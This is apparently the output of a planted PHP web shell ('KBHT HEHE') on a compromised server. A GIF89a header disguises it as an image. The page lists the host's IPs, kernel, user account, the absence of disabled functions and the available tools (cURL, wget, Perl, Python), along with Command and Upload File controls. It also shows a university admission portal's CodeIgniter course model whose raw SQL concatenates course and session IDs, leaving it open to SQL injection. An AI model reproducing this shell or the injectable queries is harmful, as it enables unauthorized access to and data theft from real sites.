GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.15.228.171
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/application/models/admin/CourseManagement.php
<?php

/**
 * Modal Class For Handling All DB Operations Related To Course
 *
 * @author Softpro India Pvt. Ltd.
 */
class CourseManagement extends CI_Model {

    public function __construct() {
        parent::__construct();
    }

    function getCourses($c_status = '', $c_delete_status = '') {
        $this->db->select("*");
        $this->db->from("tbl_course_master c");
        if ($c_status != '') {
            $this->db->where("c.course_active_status", $c_status);
        }
        if ($c_delete_status != '') {
            $this->db->where("c.course_delete_status", $c_delete_status);
        }
        $this->db->where("c.course_id NOT IN (0)");
        $this->db->order_by("c.course_name", "ASC");
        return $this->db->get();
    }

    function getCoursesByID($course_id) {
        $this->db->select("*");
        $this->db->from("tbl_course_master c");
        $this->db->where("c.course_id", $course_id);
        return $this->db->get();
    }

    function getCoursesBySessionAndFormFee($c_status = '', $c_delete_status = '', $session_id = '') {
        if ($session_id != '') {
            $this->db->distinct();
            $this->db->select("c.course_name as c_name");
        } else {
            $this->db->select("*");
        }
        $this->db->from("tbl_course_master c");
        $this->db->join("tbl_course_sub_master sc", "sc.course_id = c.course_id");
        $this->db->join("tbl_univ_course_session_mapping univ", "univ.sub_course_id = sc.tcsm_id");
        $this->db->join("tbl_session_master sess", "sess.session_id=univ.session_id");
        $this->db->where("univ.ucs_rg_le_active_status", "T");
        if ($session_id != '') {
            $this->db->where("sess.session_id", $session_id);
        } else {
            $this->db->where("sess.session_status in ('C','N')");
            //$this->db->where("univ.ucs_form_fee != '0.00'");
        }
        if ($c_status != '') {
            $this->db->where("c.course_active_status", $c_status);
        }
        if ($c_delete_status != '') {
            $this->db->where("c.course_delete_status", $c_delete_status);
        }
        $this->db->order_by("c.course_category", "DESC");
        return $this->db->get();
    }

    function getDistinctCourseTypeFromCourseTable() {
        $this->db->distinct();
        $this->db->select('course_category as ct_name');
        $this->db->from('tbl_course_master');
        $this->db->where('course_active_status', 'T');
        $this->db->where('course_delete_status', 'F');
        $this->db->order_by('course_category', 'desc');
        return $this->db->get();
    }

    function getFormFeeUsingCourseID($course_id) {
        $this->db->select("*");
        $this->db->from("tbl_course_master c");
        $this->db->join("tbl_course_sub_master sc", "sc.course_id = c.course_id");
        $this->db->join("tbl_univ_course_session_mapping univ", "univ.sub_course_id = sc.tcsm_id");
        $this->db->where("c.Course_id", $course_id);
        return $this->db->get();
    }

    function getUniversityAndBranchInfoBy($course_id) {
        $sql = "SELECT DISTINCT(TUCSM.sub_course_id)sub_course_id, TUCSM.ucs_map_id,TUCSM.ucs_rg_le_active_status,"
                . "TUCSM.ucs_map_delete_status,TUM.univ_name,TUM.univ_id,TUCSM.ucs_map_added_on, TUCSM.ucs_map_updated_on,"
                . "TSBM.branch_name,TSBM.branch_id FROM tbl_univ_course_session_mapping TUCSM, "
                . "tbl_sms_branch_master TSBM, tbl_university_master TUM WHERE TUCSM.univ_id = TUM.univ_id "
                . "AND TUCSM.branch_id = TSBM.branch_id AND "
                . "TUCSM.sub_course_id = (SELECT tcsm_id FROM tbl_course_sub_master TCUM WHERE TCUM.course_id = " . $course_id . " LIMIT 1) "
                . "ORDER BY TUCSM.ucs_map_updated_on DESC LIMIT 1";
        return $this->db->query($sql);
    }

    function getAllUCSMappingBySessionAndCourse($session_id, $course_id) {
        $sql = "SELECT * FROM tbl_univ_course_session_mapping TUCSM JOIN tbl_course_sub_master TCSM ON "
                . "TUCSM.sub_course_id= TCSM.tcsm_id JOIN tbl_course_master TCM ON "
                . "TCSM.course_id= TCM.course_id WHERE TCM.course_id = '" . $course_id . "' AND TUCSM.session_id = '" . $session_id . "' AND TUCSM.ucs_rg_le_active_status = 'T'";
        return $this->db->query($sql);
    }

    /* Functions For Course Closure For Admission Portal */

    function getCounsellingClosureInfoBy($course_alias) {
        $this->db->select('*');
        $this->db->from('adm_allowed_range');
        $this->db->where('aar_course', $course_alias);
        return $this->db->get();
    }

}

KBHT - 2023